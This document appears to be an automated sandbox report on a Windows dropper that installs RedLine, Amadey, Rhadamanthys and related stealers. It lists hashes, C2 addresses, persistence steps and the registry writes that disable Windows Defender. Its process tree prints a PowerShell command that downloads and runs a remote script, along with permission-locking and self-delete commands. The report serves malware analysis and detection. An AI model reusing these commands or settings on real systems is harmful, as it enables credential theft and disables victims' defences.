Analysis
-
max time kernel
143s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
21-03-2023 15:45
Static task
static1
Behavioral task
behavioral1
Sample
a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe
Resource
win10v2004-20230220-en
General
-
Target
a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe
-
Size
1.0MB
-
MD5
340490a57f8721238c86e736f86312c0
-
SHA1
5fd48040d74b4782af1f246e58587828bccbb0f7
-
SHA256
a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96
-
SHA512
a94dc9f73b53f41cc5418466d9cac7d2908ef7f6885716493eaf10ea71b42aabd22b6ed2e6cb5bfbb859af588c13a1fb5feb3432414e206a6468ca1dfdeeef9b
-
SSDEEP
24576:XytF6vLruy0pNhDX9oipRFgvF8QR+E0+UX:iz6vR0vJoY3U81Ep
Malware Config
Extracted
https://www.mdegmm.com/pdf/debug2.ps1
Extracted
redline
gena
193.233.20.30:4125
-
auth_value
93c20961cb6b06b2d5781c212db6201e
Extracted
redline
vint
193.233.20.30:4125
-
auth_value
fb8811912f8370b3d23bffda092d88d0
Extracted
amadey
3.68
62.204.41.87/joomla/index.php
Extracted
aurora
212.87.204.93:8081
Signatures
-
Detect rhadamanthys stealer shellcode 2 IoCs
Processes:
resource yara_rule behavioral1/memory/3920-1291-0x0000000000730000-0x000000000074C000-memory.dmp family_rhadamanthys behavioral1/memory/3920-1297-0x0000000000730000-0x000000000074C000-memory.dmp family_rhadamanthys -
Processes:
tz2771.exev5993Vk.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" tz2771.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection v5993Vk.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" v5993Vk.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" v5993Vk.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" tz2771.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" tz2771.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" tz2771.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" tz2771.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" v5993Vk.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" v5993Vk.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" v5993Vk.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection tz2771.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 18 IoCs
Processes:
resource yara_rule behavioral1/memory/2880-211-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-210-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-213-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-215-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-217-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-219-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-221-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-223-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-225-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-227-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-229-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-231-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-233-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-235-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-237-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-239-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-241-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline behavioral1/memory/2880-243-0x00000000028F0000-0x000000000292E000-memory.dmp family_redline -
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 64 1712 powershell.exe 66 1712 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
y91IN20.exelegenda.exesqlcmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation y91IN20.exe Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation legenda.exe Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation sqlcmd.exe -
Executes dropped EXE 14 IoCs
Processes:
zap4085.exezap6422.exezap2780.exetz2771.exev5993Vk.exew12dE63.exexosxF25.exey91IN20.exelegenda.exesqlcmd.exeserv.exesvchost.exelegenda.exelegenda.exepid process 1356 zap4085.exe 4008 zap6422.exe 4516 zap2780.exe 320 tz2771.exe 4568 v5993Vk.exe 2880 w12dE63.exe 4204 xosxF25.exe 3976 y91IN20.exe 4600 legenda.exe 4300 sqlcmd.exe 3920 serv.exe 3724 svchost.exe 2472 legenda.exe 2448 legenda.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3212 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
tz2771.exev5993Vk.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" tz2771.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features v5993Vk.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" v5993Vk.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
Processes:
zap4085.exezap6422.exezap2780.exea8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" zap4085.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap6422.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" zap6422.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap2780.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" zap2780.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap4085.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
serv.exepid process 3920 serv.exe 3920 serv.exe 3920 serv.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2512 4568 WerFault.exe v5993Vk.exe 4060 2880 WerFault.exe w12dE63.exe 3036 3920 WerFault.exe serv.exe -
Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
serv.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI serv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 serv.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID serv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI serv.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI serv.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
tz2771.exev5993Vk.exew12dE63.exexosxF25.exepowershell.exepid process 320 tz2771.exe 320 tz2771.exe 4568 v5993Vk.exe 4568 v5993Vk.exe 2880 w12dE63.exe 2880 w12dE63.exe 4204 xosxF25.exe 4204 xosxF25.exe 1712 powershell.exe 1712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
tz2771.exev5993Vk.exew12dE63.exexosxF25.exepowershell.exewmic.exeWMIC.exedescription pid process Token: SeDebugPrivilege 320 tz2771.exe Token: SeDebugPrivilege 4568 v5993Vk.exe Token: SeDebugPrivilege 2880 w12dE63.exe Token: SeDebugPrivilege 4204 xosxF25.exe Token: SeDebugPrivilege 1712 powershell.exe Token: SeIncreaseQuotaPrivilege 3480 wmic.exe Token: SeSecurityPrivilege 3480 wmic.exe Token: SeTakeOwnershipPrivilege 3480 wmic.exe Token: SeLoadDriverPrivilege 3480 wmic.exe Token: SeSystemProfilePrivilege 3480 wmic.exe Token: SeSystemtimePrivilege 3480 wmic.exe Token: SeProfSingleProcessPrivilege 3480 wmic.exe Token: SeIncBasePriorityPrivilege 3480 wmic.exe Token: SeCreatePagefilePrivilege 3480 wmic.exe Token: SeBackupPrivilege 3480 wmic.exe Token: SeRestorePrivilege 3480 wmic.exe Token: SeShutdownPrivilege 3480 wmic.exe Token: SeDebugPrivilege 3480 wmic.exe Token: SeSystemEnvironmentPrivilege 3480 wmic.exe Token: SeRemoteShutdownPrivilege 3480 wmic.exe Token: SeUndockPrivilege 3480 wmic.exe Token: SeManageVolumePrivilege 3480 wmic.exe Token: 33 3480 wmic.exe Token: 34 3480 wmic.exe Token: 35 3480 wmic.exe Token: 36 3480 wmic.exe Token: SeIncreaseQuotaPrivilege 3480 wmic.exe Token: SeSecurityPrivilege 3480 wmic.exe Token: SeTakeOwnershipPrivilege 3480 wmic.exe Token: SeLoadDriverPrivilege 3480 wmic.exe Token: SeSystemProfilePrivilege 3480 wmic.exe Token: SeSystemtimePrivilege 3480 wmic.exe Token: SeProfSingleProcessPrivilege 3480 wmic.exe Token: SeIncBasePriorityPrivilege 3480 wmic.exe Token: SeCreatePagefilePrivilege 3480 wmic.exe Token: SeBackupPrivilege 3480 wmic.exe Token: SeRestorePrivilege 3480 wmic.exe Token: SeShutdownPrivilege 3480 wmic.exe Token: SeDebugPrivilege 3480 wmic.exe Token: SeSystemEnvironmentPrivilege 3480 wmic.exe Token: SeRemoteShutdownPrivilege 3480 wmic.exe Token: SeUndockPrivilege 3480 wmic.exe Token: SeManageVolumePrivilege 3480 wmic.exe Token: 33 3480 wmic.exe Token: 34 3480 wmic.exe Token: 35 3480 wmic.exe Token: 36 3480 wmic.exe Token: SeIncreaseQuotaPrivilege 316 WMIC.exe Token: SeSecurityPrivilege 316 WMIC.exe Token: SeTakeOwnershipPrivilege 316 WMIC.exe Token: SeLoadDriverPrivilege 316 WMIC.exe Token: SeSystemProfilePrivilege 316 WMIC.exe Token: SeSystemtimePrivilege 316 WMIC.exe Token: SeProfSingleProcessPrivilege 316 WMIC.exe Token: SeIncBasePriorityPrivilege 316 WMIC.exe Token: SeCreatePagefilePrivilege 316 WMIC.exe Token: SeBackupPrivilege 316 WMIC.exe Token: SeRestorePrivilege 316 WMIC.exe Token: SeShutdownPrivilege 316 WMIC.exe Token: SeDebugPrivilege 316 WMIC.exe Token: SeSystemEnvironmentPrivilege 316 WMIC.exe Token: SeRemoteShutdownPrivilege 316 WMIC.exe Token: SeUndockPrivilege 316 WMIC.exe Token: SeManageVolumePrivilege 316 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exezap4085.exezap6422.exezap2780.exey91IN20.exelegenda.execmd.exesqlcmd.execmd.execmd.exedescription pid process target process PID 2136 wrote to memory of 1356 2136 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe zap4085.exe PID 2136 wrote to memory of 1356 2136 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe zap4085.exe PID 2136 wrote to memory of 1356 2136 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe zap4085.exe PID 1356 wrote to memory of 4008 1356 zap4085.exe zap6422.exe PID 1356 wrote to memory of 4008 1356 zap4085.exe zap6422.exe PID 1356 wrote to memory of 4008 1356 zap4085.exe zap6422.exe PID 4008 wrote to memory of 4516 4008 zap6422.exe zap2780.exe PID 4008 wrote to memory of 4516 4008 zap6422.exe zap2780.exe PID 4008 wrote to memory of 4516 4008 zap6422.exe zap2780.exe PID 4516 wrote to memory of 320 4516 zap2780.exe tz2771.exe PID 4516 wrote to memory of 320 4516 zap2780.exe tz2771.exe PID 4516 wrote to memory of 4568 4516 zap2780.exe v5993Vk.exe PID 4516 wrote to memory of 4568 4516 zap2780.exe v5993Vk.exe PID 4516 wrote to memory of 4568 4516 zap2780.exe v5993Vk.exe PID 4008 wrote to memory of 2880 4008 zap6422.exe w12dE63.exe PID 4008 wrote to memory of 2880 4008 zap6422.exe w12dE63.exe PID 4008 wrote to memory of 2880 4008 zap6422.exe w12dE63.exe PID 1356 wrote to memory of 4204 1356 zap4085.exe xosxF25.exe PID 1356 wrote to memory of 4204 1356 zap4085.exe xosxF25.exe PID 1356 wrote to memory of 4204 1356 zap4085.exe xosxF25.exe PID 2136 wrote to memory of 3976 2136 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe y91IN20.exe PID 2136 wrote to memory of 3976 2136 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe y91IN20.exe PID 2136 wrote to memory of 3976 2136 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe y91IN20.exe PID 3976 wrote to memory of 4600 3976 y91IN20.exe legenda.exe PID 3976 wrote to memory of 4600 3976 y91IN20.exe legenda.exe PID 3976 wrote to memory of 4600 3976 y91IN20.exe legenda.exe PID 4600 wrote to memory of 5032 4600 legenda.exe schtasks.exe PID 4600 wrote to memory of 5032 4600 legenda.exe schtasks.exe PID 4600 wrote to memory of 5032 4600 legenda.exe schtasks.exe PID 4600 wrote to memory of 3172 4600 legenda.exe cmd.exe PID 4600 wrote to memory of 3172 4600 legenda.exe cmd.exe PID 4600 wrote to memory of 3172 4600 legenda.exe cmd.exe PID 3172 wrote to memory of 4572 3172 cmd.exe cmd.exe PID 3172 wrote to memory of 4572 3172 cmd.exe cmd.exe PID 3172 wrote to memory of 4572 3172 cmd.exe cmd.exe PID 3172 wrote to memory of 2596 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 2596 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 2596 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1996 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1996 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1996 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1384 3172 cmd.exe cmd.exe PID 3172 wrote to memory of 1384 3172 cmd.exe cmd.exe PID 3172 wrote to memory of 1384 3172 cmd.exe cmd.exe PID 3172 wrote to memory of 4496 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 4496 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 4496 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1288 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1288 3172 cmd.exe cacls.exe PID 3172 wrote to memory of 1288 3172 cmd.exe cacls.exe PID 4600 wrote to memory of 4300 4600 legenda.exe sqlcmd.exe PID 4600 wrote to memory of 4300 4600 legenda.exe sqlcmd.exe PID 4600 wrote to memory of 4300 4600 legenda.exe sqlcmd.exe PID 4300 wrote to memory of 1216 4300 sqlcmd.exe cmd.exe PID 4300 wrote to memory of 1216 4300 sqlcmd.exe cmd.exe PID 1216 wrote to memory of 1712 1216 cmd.exe powershell.exe PID 1216 wrote to memory of 1712 1216 cmd.exe powershell.exe PID 4300 wrote to memory of 2664 4300 sqlcmd.exe cmd.exe PID 4300 wrote to memory of 2664 4300 sqlcmd.exe cmd.exe PID 4300 wrote to memory of 2664 4300 sqlcmd.exe cmd.exe PID 2664 wrote to memory of 4904 2664 cmd.exe PING.EXE PID 2664 wrote to memory of 4904 2664 cmd.exe PING.EXE PID 2664 wrote to memory of 4904 2664 cmd.exe PING.EXE PID 4600 wrote to memory of 3920 4600 legenda.exe serv.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe"C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 10766⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 10925⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:R" /E5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:N"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:R" /E5⤵
-
C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe"C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe" >> NUL5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe"C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 6925⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe"C:\Users\Admin\AppData\Local\Temp\1000118001\svchost.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic os get Caption5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /C "wmic path win32_VideoController get name"5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic path win32_VideoController get name6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /C "wmic cpu get name"5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic cpu get name6⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4568 -ip 45681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2880 -ip 28801⤵
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeC:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3920 -ip 39201⤵
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeC:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
2KB
MD5fc88b7748eb4cd37ae886a1c0813e4cf
SHA123e30b76fc94f0467a3efad342a91a3b84ff1eea
SHA2563d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da
SHA512bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
1KB
MD5cb684ec7fe8555f949182c7423dafdc2
SHA1ec49f7b4b777fa1da40af5328785782127ffc52c
SHA2568e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e
SHA512ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
482B
MD5e31cdfd605088b681011e1335a889366
SHA109467123a6068fdc9238ae07c9ceb9f8ad2973d4
SHA2561b3e67b74644c202082c14ead4e83bbe90c0c7a9b4d9d255de3caeec75cabb12
SHA5120b8181160a0a3bec546399c326d0470484ba0e4f1bbd8b0d968ec7a7e935285d4d4fed3451e87349bb530e7ed39cb6b2256688852e7a1f9c4311185df0ee9eba
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
486B
MD543891a09e3e2ad9794333bc987cf6262
SHA18a47777daafdf4c98b4b1142b2137611e5027d76
SHA25610ca6a097066cfa8e9a3c7439b175df7df6f4e9e987c1f7a2627e6d8c9a0eed4
SHA512751e5f0fd69840d6e908d6aee8072c70127c37b983797a39c522c1f6b6d447ac734977f648e67dac512bd065d5b26c3d2f2af1761d4d986a85883c1917e25136
-
C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exeFilesize
144KB
